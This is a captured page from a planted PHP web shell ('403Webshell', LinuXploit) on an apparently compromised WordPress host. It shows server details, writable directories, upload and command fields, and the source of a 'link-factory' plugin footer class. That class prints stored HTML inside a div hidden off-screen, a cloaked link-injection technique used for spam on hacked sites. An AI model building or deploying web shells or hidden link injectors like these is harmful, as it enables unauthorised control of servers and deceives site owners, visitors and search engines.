403Webshell
Server IP : 46.245.81.90  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux server3ir.xdlhost.com 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
User : gmparts ( 1037)
PHP Version : 8.1.34
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gmparts/public_html/wp-content/plugins/link-factory/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gmparts/public_html/wp-content/plugins/link-factory/includes/class-footer.php
<?php
/**
 * Footer renderer.
 *
 * @package LinkFactory
 */

namespace LinkFactory;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class Footer {

	/**
	 * @var Repository
	 */
	private $repository;

	public function __construct( Repository $repository ) {
		$this->repository = $repository;
	}

	public function render() {
		$sentences = is_front_page()
			? $this->repository->find_all()
			: $this->repository->find_sitewide();
		if ( empty( $sentences ) ) {
			return;
		}

		echo '<div class="link-factory-sentences" aria-hidden="true" style="position:absolute;left:-9999px;width:1px;height:1px;overflow:hidden;">';
		foreach ( $sentences as $sentence ) {
			echo '<div>' . $sentence['html'] . '</div>';
		}
		echo '</div>';
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit